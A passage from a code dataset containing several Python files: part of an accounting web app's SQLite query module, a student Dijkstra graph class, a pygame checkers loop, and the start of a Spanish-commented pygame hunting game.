WHERE'\n ' org_id = ?',\n (\n status_flag,\n org_id,\n )\n )\n\n db.commit()\n\n\ndef create_category(form_data):\n db = get_db()\n\n cat_id = str(uuid4())\n\n db.execute(\n 'INSERT INTO categories ('\n ' category_id,'\n ' category_name,'\n ' category_enabled_flag,'\n ' org_id_fk,'\n ' cat_type_id_fk'\n ') VALUES ('\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?'\n ' )',\n (\n cat_id,\n form_data['cat_name'],\n form_data['active_flag'],\n session['current_org'],\n form_data['type_id'],\n )\n )\n\n db.commit()\n\n return cat_id\n\n\ndef update_category(form_data, cat_id):\n db = get_db()\n\n db.execute(\n 'UPDATE'\n ' categories'\n ' SET'\n ' category_name = ?,'\n ' category_enabled_flag = ?, '\n ' cat_type_id_fk = ?'\n ' WHERE'\n ' category_id = ?',\n (\n form_data['cat_name'],\n form_data['active_flag'],\n form_data['type_id'],\n cat_id,\n )\n )\n\n db.commit()\n\n\ndef get_category_types():\n db = get_db()\n\n cat_types = db.execute(\n 'SELECT'\n ' *'\n ' FROM'\n ' category_type'\n ).fetchall()\n\n return cat_types\n\n\ndef get_all_orgs_for_current_user():\n db = get_db()\n\n organisations = db.execute(\n 'SELECT'\n ' *'\n ' FROM'\n ' organisation'\n ' JOIN'\n ' user_organisation on org_id = org_id_fk'\n ' LEFT JOIN'\n ' organisation_type on org_type = org_type_id'\n ' WHERE'\n ' user_id_fk = ?',\n (\n session['user_id'],\n )\n ).fetchall()\n\n return organisations\n\n\ndef get_active_orgs_for_current_user():\n db = get_db()\n\n orgs = db.execute(\n 'SELECT'\n ' *'\n ' FROM'\n ' organisation'\n ' JOIN'\n ' user_organisation on org_id = org_id_fk'\n ' WHERE'\n ' user_id_fk = ? and'\n ' org_enabled_flag = 1',\n (\n session['user_id'],\n )\n ).fetchall()\n\n return orgs\n\ndef get_all_orgs():\n db = get_db()\n\n orgs = db.execute(\n 'SELECT * FROM organisation'\n ).fetchall()\n\n return orgs\n\n\ndef create_organisation(form_data):\n db = get_db()\n\n org_id = str(uuid4())\n\n db.execute(\n 'INSERT INTO organisation ('\n ' org_id,'\n ' org_name,'\n ' org_enabled_flag,'\n ' org_vat,'\n ' org_number,'\n ' org_type,'\n ' org_vat_flag'\n ' ) VALUES ('\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?'\n ' )',\n (\n org_id,\n form_data['org_name'],\n form_data['org_enabled_flag'],\n form_data['org_vat'],\n form_data['org_no'],\n form_data['org_type'],\n form_data['org_vat_flag'],\n )\n )\n\n add_org_permissions(\n g.user['user_id'],\n org_id,\n )\n\n db.commit()\n\n return org_id\n\n\ndef get_organisation_types():\n db = get_db()\n\n org_types = db.execute(\n 'SELECT *'\n ' FROM organisation_type'\n ).fetchall()\n\n return org_types\n\n\ndef add_org_permissions(user_id, org_id):\n # add user permissions for own organisations\n db = get_db()\n\n db.execute(\n 'INSERT INTO user_organisation ('\n ' user_id_fk,'\n ' org_id_fk'\n ' ) VALUES ('\n ' ?,'\n ' ?'\n ' )',\n (\n user_id,\n org_id,\n )\n )\n\n db.commit()\n\n\ndef update_organistation(form_data, org_id):\n db = get_db()\n\n db.execute(\n 'UPDATE'\n ' organisation'\n ' SET'\n ' org_name = ?,'\n ' org_enabled_flag = ?,'\n ' org_type = ?,'\n ' org_vat = ?,'\n ' org_number = ?'\n ' WHERE'\n ' org_id = ?',\n (\n form_data['org_name'],\n form_data['org_enabled_flag'],\n form_data['org_type'],\n form_data['org_vat'],\n form_data['org_no'],\n org_id,\n )\n )\n\n db.commit()\n\n\ndef get_org_by_id(org_id):\n db = get_db()\n\n org = db.execute(\n 'SELECT'\n ' *'\n ' FROM'\n ' organisation'\n ' WHERE'\n ' org_id = ?',\n (\n org_id,\n )\n ).fetchone()\n\n return org\n\n\ndef get_bank_accounts_for_current_org():\n db = get_db()\n\n accounts = db.execute(\n 'SELECT'\n ' bank_id,'\n ' bank_name,'\n ' bank_reference,'\n ' bank_enabled_flag,'\n ' bank_currency_code,'\n ' IFNULL(bank_balance, 0) as \"bank_balance\",'\n ' bank_count.bank_count,'\n ' row_number()over(order by bank_id) as row_no'\n ' FROM'\n ' bank'\n ' LEFT JOIN'\n ' ('\n ' SELECT'\n ' bank_id_fk,'\n ' round('\n ' sum('\n ' IFNULL(trans_value_net, 0) + '\n ' IFNULL(trans_value_vat, 0) '\n ' ), '\n ' 2 ) as \"bank_balance\"'\n ' FROM'\n ' transactions'\n ' GROUP BY'\n ' bank_id_fk'\n ' ) as trans on trans.bank_id_fk = bank.bank_id'\n ' LEFT JOIN'\n ' ('\n ' SELECT'\n ' org_id_fk,'\n ' count(bank_id) as bank_count'\n ' FROM'\n ' bank'\n ' GROUP BY'\n ' org_id_fk'\n ' ) as bank_count on bank_count.org_id_fk = bank.org_id_fk'\n ' WHERE'\n ' bank.org_id_fk = ?'\n ' GROUP BY'\n ' bank_id',\n (\n session['current_org'],\n )\n ).fetchall()\n\n return accounts\n\n\ndef create_bank_account(form_data, org_id):\n db = get_db()\n\n bank_id = str(uuid4())\n\n if org_id == '':\n org_id = session['current_org']\n\n db.execute(\n 'INSERT INTO bank ('\n ' bank_id,'\n ' bank_name,'\n ' bank_reference,'\n ' bank_created_date,'\n ' bank_enabled_flag,'\n ' bank_currency_code,'\n ' org_id_fk'\n ' ) VALUES ('\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?'\n ' )',\n (\n bank_id,\n form_data['bank_name'],\n form_data['bank_reference'],\n datetime.datetime.now().strftime('%Y-%m-%d'),\n form_data['bank_enabled_flag'],\n form_data['bank_currency_code'],\n org_id,\n )\n )\n\n vat_type = db.execute(\n 'SELECT vat_type_id'\n ' FROM'\n ' vat_type'\n ' WHERE'\n ' vat_type_name = \"Out of Scope\"'\n ).fetchone()\n\n db.commit()\n\n o_bal = {\n 'trans_date': form_data['open_date'],\n 'trans_desc': 'Opening Balance',\n 'trans_value_net': form_data['open_balance'],\n 'trans_value_vat': 0.00,\n 'sign': 1,\n 'org_id_fk': org_id,\n 'trans_created_date': datetime.datetime.now().strftime('%Y-%m-%d'),\n 'bank_id': bank_id,\n 'cat_id': '',\n 'vat_type_id_fk': vat_type['vat_type_id']\n }\n\n create_transaction(o_bal)\n\n return bank_id\n\n\ndef create_transaction(trans_data):\n db = get_db()\n\n if 'trans_value_vat' not in trans_data:\n vat_value = 0\n vat_type_id_fk = ''\n else:\n vat_value = trans_data['trans_value_vat']\n vat_type_id_fk = trans_data['vat_type_id_fk']\n\n db.execute(\n 'INSERT INTO transactions ('\n ' trans_id,'\n ' trans_post_date,'\n ' trans_created_date,'\n ' trans_value_net,'\n ' trans_value_vat,'\n ' trans_description,'\n ' user_id_fk,'\n ' org_id_fk,'\n ' bank_id_fk,'\n ' category_id_fk,'\n ' vat_type_id_fk'\n ' ) VALUES ('\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?'\n ')',\n (\n str(uuid4()),\n trans_data['trans_date'],\n datetime.datetime.now().strftime('%Y-%m-%d'),\n float(trans_data['trans_value_net']) * float(trans_data['sign']),\n float(vat_value) * float(trans_data['sign']),\n trans_data['trans_desc'],\n session['user_id'],\n session['current_org'],\n trans_data['bank_id'],\n trans_data['cat_id'],\n vat_type_id_fk,\n )\n )\n\n db.commit()\n\ndef get_bank_account(bank_id):\n db = get_db()\n\n account = db.execute(\n 'SELECT'\n ' *'\n ' FROM'\n ' bank'\n ' WHERE'\n ' bank_id = ? and'\n ' org_id_fk = ?',\n (\n bank_id,\n session['org_id'],\n )\n ).fetchone()\n\n return account\n\ndef update_bank_details(bank_data, bank_id):\n db = get_db()\n\n db.execute(\n 'UPDATE'\n ' bank'\n ' SET'\n ' bank_name = ?,'\n ' bank_reference = ?,'\n ' bank_created_date = ?,'\n ' bank_enabled_flag = ?,'\n ' bank_currency_code = ?'\n ' WHERE'\n ' bank_id = ?',\n (\n bank_data['bank_name'],\n bank_data['bank_reference'],\n datetime.datetime.now().strftime('%Y-%m-%d'),\n bank_data['bank_enabled_flag'],\n bank_data['bank_currency_code'],\n bank_id,\n )\n )\n\n db.commit()\n\ndef get_active_categories_for_current_org():\n db = get_db()\n\n categories = db.execute(\n \"SELECT\"\n \" *\"\n \" FROM\"\n \" categories\"\n \" WHERE\"\n \" org_id_fk = ? and\"\n \" category_enabled_flag = 1\",\n (\n session['current_org'],\n )\n ).fetchall()\n\n return categories\n\n\ndef income_chart():\n db = get_db()\n\n from_date = datetime.datetime.now() - datetime.timedelta(days=365)\n from_date = datetime.datetime.strftime(from_date, '%Y-%m-%d')\n\n values = db.execute(\n 'SELECT'\n ' strftime(\"%Y-%m-\", trans_post_date)||\"01\" as period,'\n ' sum(trans_value_net) as value'\n ' FROM'\n ' transactions'\n ' JOIN'\n ' categories on category_id = category_id_fk'\n ' JOIN'\n ' category_type on cat_type_id = cat_type_id_fk'\n ' WHERE'\n ' transactions.org_id_fk=? and'\n ' cat_type_name = \"Income\" and'\n ' trans_post_date >= ?'\n ' GROUP BY'\n ' cat_type_name,'\n ' period'\n ' ORDER BY'\n ' period',\n (\n session['current_org'],\n from_date,\n )\n ).fetchall()\n\n return values\n\n\ndef expense_chart():\n db = get_db()\n\n from_date = datetime.datetime.now() - datetime.timedelta(days=365)\n from_date = datetime.datetime.strftime(from_date, '%Y-%m-%d')\n\n values = db.execute(\n 'SELECT'\n ' strftime(\"%Y-%m-\", trans_post_date)||\"01\" as period,'\n ' sum(trans_value_net) as value'\n ' FROM'\n ' transactions'\n ' JOIN'\n ' categories on category_id = category_id_fk'\n ' JOIN'\n ' category_type on cat_type_id = cat_type_id_fk'\n ' WHERE'\n ' transactions.org_id_fk=? and'\n ' cat_type_name = \"Expense\" and'\n ' trans_post_date >= ?'\n ' GROUP BY'\n ' cat_type_name,'\n ' period'\n ' ORDER BY'\n ' period',\n (\n session['current_org'],\n from_date,\n )\n ).fetchall()\n\n return values\n\n\ndef get_vat_codes():\n db = get_db()\n\n vat_codes = db.execute(\n 'SELECT *'\n ' FROM vat_type'\n ).fetchall()\n\n return vat_codes\n\n\ndef create_standard_coa(coa):\n db = get_db()\n\n fixed_asset = db.execute(\n 'SELECT cat_type_id'\n ' FROM category_type'\n ' WHERE cat_type_name = \"Fixed Assets\"'\n ).fetchone()\n\n current_asset = db.execute(\n 'SELECT cat_type_id'\n ' FROM category_type'\n ' WHERE cat_type_name = \"Current Liabilities\"'\n ).fetchone()\n\n current_liability = db.execute(\n 'SELECT cat_type_id'\n ' FROM category_type'\n ' WHERE cat_type_name = \"Current Liabilities\"'\n ).fetchone()\n\n long_term_liability = db.execute(\n 'SELECT cat_type_id'\n ' FROM category_type'\n ' WHERE cat_type_name = \"Long-term Liabilities\"'\n ).fetchone()\n\n income = db.execute(\n 'SELECT cat_type_id'\n ' FROM category_type'\n ' WHERE cat_type_name = \"Income\"'\n ).fetchone()\n\n expense = db.execute(\n 'SELECT cat_type_id'\n ' FROM category_type'\n ' WHERE cat_type_name = \"Expense\"'\n ).fetchone()\n\n equity = db.execute(\n 'SELECT cat_type_id'\n ' FROM category_type'\n ' WHERE cat_type_name = \"Equity\"'\n ).fetchone()\n\n if coa == 'individual':\n fixed_asset_categories = [\n 'House',\n 'Motor vehicles',\n 'Pension'\n ]\n\n for each in fixed_asset_categories:\n category = {\n 'cat_name': each,\n 'active_flag': 1,\n 'type_id': fixed_asset['cat_type_id']\n }\n\n create_category(category)\n\n liability_categories = [\n 'Mortgage'\n ]\n\n for each in liability_categories:\n category = {\n 'cat_name': each,\n 'active_flag': 1,\n 'type_id': long_term_liability['cat_type_id']\n }\n\n create_category(category)\n\n income_categories = [\n 'Salary',\n 'Interest'\n ]\n\n for each in income_categories:\n category = {\n 'cat_name': each,\n 'active_flag': 1,\n 'type_id': income['cat_type_id']\n }\n\n create_category(category)\n\n expense_categories = [\n 'Rent',\n 'Utilities',\n 'Phone',\n 'Internet',\n 'Insurance',\n 'Food',\n 'Holiday',\n 'Socializing',\n 'Other Expenses'\n ]\n\n for each in expense_categories:\n category = {\n 'cat_name': each,\n 'active_flag': 1,\n 'type_id': expense['cat_type_id']\n }\n\n create_category(category)\n\n if coa == 'limited':\n fixed_asset_categories = [\n 'Plant and Machinery',\n 'Motor Vehicles',\n 'Fixtures and Fittings'\n ]\n\n for each in fixed_asset_categories:\n category = {\n 'cat_name': each,\n 'active_flag': 1,\n 'type_id': fixed_asset['cat_type_id']\n }\n\n create_category(category)\n\n asset_categories = [\n 'Debtors',\n 'Stock',\n 'Prepayments'\n ]\n\n for each in asset_categories:\n category = {\n 'cat_name': each,\n 'active_flag': 1,\n 'type_id': current_asset['cat_type_id']\n }\n\n create_category(category)\n\n current_liability_categories = [\n 'Creditors',\n 'Deferred Income',\n 'Taxes',\n 'Accruals'\n ]\n\n for each in current_liability_categories:\n category = {\n 'cat_name': each,\n 'active_flag': 1,\n 'type_id': current_liability['cat_type_id']\n }\n\n create_category(category)\n\n long_liability_categories = [\n 'Bank Loans',\n 'Directors Loan Account',\n 'Corporation Tax'\n ]\n\n for each in long_liability_categories:\n category = {\n 'cat_name': each,\n 'active_flag': 1,\n 'type_id': long_term_liability['cat_type_id']\n }\n\n create_category(category)\n\n income_categories = [\n 'Sales',\n 'Other Income'\n ]\n\n for each in income_categories:\n category = {\n 'cat_name': each,\n 'active_flag': 1,\n 'type_id': income['cat_type_id']\n }\n\n create_category(category)\n\n expense_categories = [\n 'Cost of Goods Sold',\n 'Rent and Rates',\n 'Utilities',\n 'Wages and Salaries',\n 'Travel Expenses',\n 'IT and Telecomms',\n 'Stationary and Postage',\n 'Professional and Legal Fees',\n 'Other Expenses',\n 'Depreciation',\n 'Tax'\n ]\n\n for each in expense_categories:\n category = {\n 'cat_name': each,\n 'active_flag': 1,\n 'type_id': expense['cat_type_id']\n }\n\n create_category(category)\n\n\n db.commit()\n\n\ndef add_demo_data():\n db = get_db()\n\n org_type = db.execute(\n 'SELECT * FROM organisation_type'\n ' WHERE org_type_name = \"Limited Company\"'\n ).fetchone()\n\n demo_org = {\n \"org_name\": 'Hermes Demo Ltd',\n \"org_enabled_flag\": 1,\n \"org_vat\": \"12 3456 789 GB\",\n \"org_no\": \"12345678\",\n \"org_type\": org_type['org_type_id']\n }\n\n org_id = create_organisation(demo_org)\n\n bank_accounts = [\n {\n 'bank_name': 'Business Bank Account',\n 'bank_reference': 00-00-00-10000001,\n 'bank_enabled_flag': 1,\n 'bank_currency_code': 'gbp',\n 'open_date': datetime.date(2019, 1, 1),\n 'open_balance': round(random.random() * 10000, 2)\n },\n\n {\n 'bank_name': 'Overdrawn Account',\n 'bank_reference': 00 - 00 - 00 - 10000002,\n 'bank_enabled_flag': 1,\n 'bank_currency_code': 'gbp',\n 'open_date': datetime.date(2019, 1, 1),\n 'open_balance': round(random.random() * 1000, 2) * -1\n },\n\n {\n 'bank_name': 'Savings Account',\n 'bank_reference': 00 - 00 - 00 - 10000002,\n 'bank_enabled_flag': 1,\n 'bank_currency_code': 'gbp',\n 'open_date': datetime.date(2019, 1, 1),\n 'open_balance': round(random.random() * 100000, 2)\n }\n\n ]\n\n for bank in bank_accounts:\n bank_id = create_bank_account(bank, org_id)\n\n db.commit()\n\n\ndef get_current_settings():\n db = get_db()\n\n settings = db.execute(\n 'SELECT * FROM settings WHERE user_id_fk = ?',\n (\n session['user_id'],\n )\n ).fetchone()\n\n return settings\n\n\ndef get_current_global_settings():\n db = get_db()\n\n settings = db.execute(\n 'SELECT * FROM global_settings'\n ).fetchone()\n\n return settings\n\n\ndef update_settings(form_data):\n db = get_db()\n\n db.execute(\n 'UPDATE settings'\n ' SET settings_theme = ?'\n ' WHERE user_id_fk = ?',\n (\n form_data['settings_theme'],\n session['user_id'],\n )\n )\n\n db.commit()\n\ndef update_global_settings(form_data):\n db = get_db()\n\n if 'mtd_prod_switch' not in form_data:\n switch_value = 'off'\n else:\n switch_value = form_data['mtd_prod_switch']\n\n db.execute(\n 'UPDATE global_settings'\n ' SET'\n ' mj_api_key = ?,'\n ' mj_api_secret = ?,'\n ' mj_api_from_email = ?,'\n ' companies_house_api_key = ?,'\n ' mtd_client_id = ?,'\n ' mtd_client_secrets = ?,'\n ' mtd_server_token = ?,'\n ' mtd_prod_status = ?'\n ' WHERE'\n ' global_id = 1',\n (\n form_data['mj_api_key'],\n form_data['mj_api_secret'],\n form_data['mj_api_from_email'],\n form_data['companies_house_api_key'],\n form_data['mtd_client_id'],\n form_data['mtd_client_secrets'],\n form_data['mtd_server_token'],\n switch_value,\n )\n )\n\n db.commit()\n\n\ndef get_vat_transactions():\n db = get_db()\n\n vat_trans = db.exectute(\n 'SELECT'\n ' sum(trans_value_net),'\n ' sum(trans_value_vat),'\n ' cat_type_name,'\n ' vat_type_id_fk,'\n ' vat_rtn_id_fk'\n ' FROM'\n ' transactions'\n ' JOIN categories on category_id = category_id_fk'\n ' JOIN category_type on cat_type_id = cat_type_id_fk'\n ' WHERE'\n ' transactions.trans_post_date >= ? and'\n ' transactions.trans_post_data <= ?'\n ' group by'\n ' cat_type_name,'\n ' vat_type_id_fk'\n ).fetchall()\n\ndef get_all_contacts():\n db = get_db()\n\n contacts = db.execute(\n 'SELECT'\n ' *'\n ' FROM'\n ' contacts'\n ' WHERE'\n ' org_id_fk = ?',\n (\n session['current_org'],\n )\n ).fetchall()\n\n return contacts\n\ndef create_contact(contact):\n db = get_db()\n\n db.execute(\n 'INSERT INTO contacts ('\n ' contact_id,'\n ' contact_name,'\n ' contact_account_no,'\n ' contact_foreign_account_no,'\n ' contact_vat_registration,'\n ' contact_company_no,'\n ' contact_type,'\n ' contact_email,'\n ' contact_phone,'\n ' contact_main_contact,'\n ' contact_web_address,'\n ' org_id_fk'\n ' ) VALUES ('\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?,'\n ' ?'\n ' )',\n (\n str(uuid4()),\n contact['contact_name'],\n contact['contact_account_no'],\n contact['contact_foreign_account_no'],\n contact['contact_vat_registration'],\n contact['contact_company_no'],\n contact['contact_type'],\n contact['contact_email'],\n contact['contact_phone'],\n contact['contact_main_contact'],\n contact['contact_web_address'],\n session['current_org'],\n )\n )\n\n db.commit()","sub_path":"hermes/core_queries.py","file_name":"core_queries.py","file_ext":"py","file_size_in_byte":25121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"211294622","text":"#I should burry this and comeback.\n\nclass weighted_digraph:\n\n class __edge(object):\n\n def __init__(self, to_node, weight):\n\n self.to_node = to_node\n\n self.weight = weight\n\n class __node(object):\n\n def __init__(self, value):\n\n self.value = value\n\n self.edges = []\n\n self.distance = 0\n\n self.because = None\n\n def __str__(self):\n\n result = str(self.value)\n\n for edge in self.edges:\n\n result += \"->\" + str(edge.to_node.value) + \\\n \"(\" + str(edge.weight) + \")\"\n\n return (result)\n\n def add_edge(self, new_edge):\n\n if not self.is_adjacent(new_edge.to_node):\n\n self.edges.append(new_edge)\n\n def remove_edge(self, to_node):\n\n for edge in self.edges:\n\n if edge.to_node == to_node:\n\n self.edges.remove(edge)\n\n def is_adjacent(self, node):\n\n for edge in self.edges:\n\n if edge.to_node == node:\n\n return (True)\n\n return (False)\n\n def __init__(self, directed=True):\n\n self.__nodes = []\n\n self.__directed = directed\n\n def __len__(self):\n\n return (len(self.__nodes))\n\n def __str__(self):\n\n result = \"\"\n\n for node in self.__nodes:\n\n result += str(node) + '\\n'\n\n return (result)\n\n def get_nodes(self):\n\n return self.__nodes[:]\n\n def find(self, value):\n\n for node in self.__nodes:\n\n if node.value == value:\n\n return (node)\n\n return (None)\n\n def add_nodes(self, nodes):\n\n for node in nodes:\n\n self.add_node(node)\n\n def add_node(self, value):\n\n if not self.find(value):\n\n self.__nodes.append(self.__node(value))\n\n def add_edges(self, edges):\n\n for edge in edges:\n\n self.add_edge(edge[0], edge[1], edge[2])\n\n \"\"\" Add an edge between two values. If the nodes\n for those values aren't already in the graph,\n add those. \"\"\"\n\n def add_edge(self, from_value, to_value, weight):\n\n from_node = self.find(from_value)\n\n to_node = self.find(to_value)\n\n if not from_node:\n\n self.add_node(from_value)\n\n from_node = self.find(from_value)\n\n if not to_node:\n\n self.add_node(to_value)\n\n to_node = self.find(to_value)\n\n from_node.add_edge(self.__edge(to_node, weight))\n\n if not self.__directed:\n\n to_node.add_edge(self.__edge(from_node, weight))\n\n def remove_edge(self, from_value, to_value, weight):\n\n from_node = self.find(from_value)\n\n to_node = self.find(to_value)\n\n from_node.remove_edge(to_node)\n\n if not self.directed:\n\n to_node.remove_edge(from_node)\n\n def are_adjacent(self, value1, value2):\n\n return (self.find(value1).is_adjacent(self.find(value2)))\n\n def why(self, value, start):\n\n snake_tail = []\n\n tail = self.find(value)\n\n snake_tail.append(tail.distance)\n\n while tail.value != start:\n\n snake_tail.append(tail.value)\n\n tail = tail.because\n\n snake_tail.append(start)\n\n return snake_tail\n\n def dijkstra(self, start):\n\n to_compare = []\n\n for_unit_test = []\n\n will_compare = None\n\n for node in self.__nodes:\n\n node.distance = float('inf')\n\n node.because = None\n\n source = self.find(start)\n\n source.distance = 0\n\n to_compare.append(source)\n\n while to_compare:\n\n compared_with = float('inf')\n\n for node in to_compare:\n\n if node.distance < compared_with:\n\n will_compare = node\n\n compared_with = node.distance\n\n to_compare.remove(will_compare)\n\n for_unit_test.append([will_compare.distance, will_compare.value])\n\n for edge in will_compare.edges:\n\n distance_to_compare = edge.weight + will_compare.distance\n\n if distance_to_compare < edge.to_node.distance:\n\n edge.to_node.distance = distance_to_compare\n\n edge.to_node.because = will_compare\n\n to_compare.append(edge.to_node)\n\n if not track_prev:\n\n final_list = []\n\n for node in for_unit_test:\n\n if node not in final_list:\n\n final_list.append(node)\n\n else:\n\n final_list = []\n\n for node in for_unit_test:\n\n if node not in final_list:\n\n final_list.append(node)\n\n final_list_how = []\n\n for node in final_list:\n\n final_list_how.append(self.why(node[1], start))\n\n return final_list_how\n\ngraph = weighted_digraph()\n\nprint(graph)\n","sub_path":"Assig5/EX_W_Map.py","file_name":"EX_W_Map.py","file_ext":"py","file_size_in_byte":4924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"607670990","text":"# Drawing the board for Checkers\r\nimport pygame\r\n\r\nfrom checkers_stuff.constants import WIDTH, HEIGHT, SQUARE_SIZE\r\nfrom checkers_stuff.game import Game\r\n\r\n# from checkers_stuff.board import Board\r\n\r\nFPS = 60\r\n\r\nWIN = pygame.display.set_mode((WIDTH, HEIGHT))\r\npygame.display.set_caption(\"Checkers\")\r\n\r\n\r\n# this will tell us based on the position of our mouse what square\r\n# row and col it is on\r\n\r\n\r\ndef get_row_col_from_mouse(pos):\r\n # we will get the x, y of our mouse and it will tell us what row and col we're in\r\n x, y = pos\r\n # if square size is 100 and we're trying to figure out what row we're in\r\n # if our y is at 650 then we know we must be in row six because 100\r\n # goes into 650 six times\r\n row = y // SQUARE_SIZE\r\n col = x // SQUARE_SIZE\r\n return row, col\r\n\r\n\r\ndef main():\r\n # while run is true we will run this loop\r\n run = True\r\n clock = pygame.time.Clock()\r\n game = Game(WIN)\r\n # it's Game() because that is what the class is named\r\n\r\n # enable to check the board being drawn\r\n # board = Board()\r\n\r\n # checking if piece is deleted, and then redrawn at the specified square\r\n # comment out this piece to see that the function mouse button down works\r\n # piece = board.get_piece(0, 1)\r\n\r\n while run:\r\n clock.tick(FPS)\r\n\r\n if game.winner() != None:\r\n # checking if there's a winner and printing out something when there is a winner\r\n print(game.winner())\r\n\r\n for event in pygame.event.get():\r\n # if the red 'X' is pushed, quit the game\r\n if event.type == pygame.QUIT:\r\n run = False\r\n\r\n if event.type == pygame.MOUSEBUTTONDOWN:\r\n pos = pygame.mouse.get_pos()\r\n row, col = get_row_col_from_mouse(pos)\r\n # commented out so game_logic will do this\r\n # piece = board.get_piece(row, col)\r\n # to show the piece gets moved, comment out for actually functionality\r\n # board.move(piece, 4, 3)\r\n # if game.turn == RED:\r\n game.select(row, col)\r\n\r\n game.update()\r\n\r\n # commented out enabled to test game mechanics\r\n # board.draw(WIN)\r\n # pygame.display.update()\r\n\r\n pygame.quit()\r\n\r\n\r\nmain()\r\n","sub_path":"checkers.py","file_name":"checkers.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"282034237","text":"# Encoding: UTF-8\n# Autor: Oscar Alejandro Torres Maya, A01377686\n# Descripción: Proyecto Final, videojuego\n\nimport pygame #Importa librería de pygame\nfrom random import randint #Importa la función randint de la librería random\n\n#Dimensiones de la pantalla\nANCHO = 800\nALTO = 600\n\n#Colores\nAZUL = (96,111,140)\nROJO = (255, 0, 0)\nNEGRO = (0,0,0)\nVERDE = (76,145,65)\n\n#Estados de juego\nMENU = 1\nJUGANDO = 2\nFINAL = 3\nPUNTAJES = 4\n\n\n#Dibuja al personaje en la pantalla\ndef dibujarPersonaje(ventana, spritePersonaje):\n ventana.blit(spritePersonaje.image, spritePersonaje.rect)\n\n\n#Dibuja a los enemigos en la pantalla\ndef dibujarEnemigos(ventana, listaEnemigos, listaEnemigos2):\n for enemigo in listaEnemigos: # VISITAR O ACCEDER A CADA ELEMENTO\n ventana.blit(enemigo.image, enemigo.rect) # IMAGEN , LUGAR\n\n for enemigo2 in listaEnemigos2: # VISITAR O ACCEDER A CADA ELEMENTO\n ventana.blit(enemigo2.image, enemigo2.rect) # IMAGEN , LUGAR\n\n\n#Dibuja a los árboles en la pantalla\ndef dibujarObstaculo(ventana,spriteObstaculo):\n ventana.blit(spriteObstaculo.image, spriteObstaculo.rect) # IMAGEN , LUGAR\n\n\n#Dibuja el bonus en la pantalla\ndef dibujarBonus(ventana,spriteBonus):\n ventana.blit(spriteBonus.image, spriteBonus.rect) # IMAGEN , LUGAR\n\n\n#Mueve a los enemigos\ndef moverEnemigos(listaEnemigos,listaEnemigos2):\n for enemigo in listaEnemigos: #Mueve a todos los enemigos\n enemigo.rect.left -= 5 #Velocidad del cazador verde por pixel\n\n for enemigo2 in listaEnemigos2: #Mueve a todos los enemigos\n enemigo2.rect.left += 5 #Velocidad del cazador naranja por pixel\n\n\n#Dibuja las opciones del menú\ndef dibujarMenu(ventana, imgBotonJugar, imgBotonSalir, imgHighscore):\n ventana.blit(imgBotonJugar, (ANCHO//2-110, ALTO//3-50))\n ventana.blit(imgBotonSalir, (ANCHO//2-110, ALTO//3+100))\n ventana.blit(imgHighscore, (ANCHO//2-110, ALTO - 160))\n\n\n#Verifica si el conejo y cazador chocaron\ndef verificarColision(listaEnemigos, listaEnemigos2, spritePersonaje):\n for cazador in range(len(listaEnemigos)-1, -1, -1):\n enemigo = listaEnemigos[cazador]\n # Conejo vs cazador derecha\n xPersonaje, yPersonaje, anchoPersonaje, altPersonaje = spritePersonaje.rect\n xEnemigo, yEnemigo, anchoEnemigo, altEnemigo = enemigo.rect\n\n #PUNTO INFERIOR Y SUPERIOR IZQUIERDO\n if xPersonaje >= xEnemigo and xPersonaje <= xEnemigo+anchoEnemigo and yPersonaje+altPersonaje >= yEnemigo and yPersonaje <= yEnemigo+altEnemigo:\n listaEnemigos.remove(enemigo) #Colisionaron\n return True\n\n #PUNTO INFERIOR Y SUPERIOR DERECHO\n elif xPersonaje+anchoPersonaje >= xEnemigo and xPersonaje <= xEnemigo+anchoEnemigo and yPersonaje+altPersonaje >= yEnemigo and yPersonaje <= yEnemigo+altEnemigo:\n listaEnemigos.remove(enemigo) #Colisionaron\n return True\n\n for cazador2 in range(len(listaEnemigos2)-1, -1, -1):\n enemigo2 = listaEnemigos2[cazador2]\n # Conejo vs cazador izquierda\n xPersonaje, yPersonaje, anchoPersonaje, altPersonaje = spritePersonaje.rect\n xEnemigo2, yEnemigo2, anchoEnemigo2, altEnemigo2 = enemigo2.rect\n\n # PUNTO INFERIOR Y SUPERIOR IZQUIERDO\n if xPersonaje >= xEnemigo2 and xPersonaje <= xEnemigo2 + anchoEnemigo2 and yPersonaje + altPersonaje >= yEnemigo2 and yPersonaje <= yEnemigo2 + altEnemigo2:\n listaEnemigos2.remove(enemigo2) #Colisionaron\n return True\n\n # PUNTO INFERIOR Y SUPERIOR DERECHO\n elif xPersonaje + anchoPersonaje >= xEnemigo2 and xPersonaje <= xEnemigo2 + anchoEnemigo2 and yPersonaje + altPersonaje >= yEnemigo2 and yPersonaje <= yEnemigo2 + altEnemigo2:\n listaEnemigos2.remove(enemigo2) #Colisionaron\n return True\n\n\n#Dibuja el menú cuando acaba el juego\ndef dibujarMenuFinal(ventana, imgBotonSalir, imgHome, imgIntento2, tiempo):\n ventana.blit(imgHome, (ANCHO - 120, ALTO - 100))\n ventana.blit(imgBotonSalir, (ANCHO // 2 - 110, ALTO//3 + 75))\n ventana.blit(tiempo, (ANCHO//2-250, 100))\n ventana.blit(imgIntento2, (ANCHO-220, ALTO-80))\n\n\n#Verifica si agarró el bonus el usuario\ndef agregarBonus(spriteBonus, spritePersonaje):\n xPersonaje, yPersonaje, anchoPersonaje, altoPersonaje = spritePersonaje.rect\n xBonus, yBonus, anchoBonus, altoBonus = spriteBonus.rect\n #Hace la condición de que agarre el bonus\n if xPersonaje >= xBonus and xPersonaje <= xBonus+anchoBonus and yPersonaje+altoPersonaje >= yBonus and yPersonaje <= yBonus+altoBonus:\n spriteBonus.remove()\n spriteBonus.rect.left = randint(80, ANCHO - 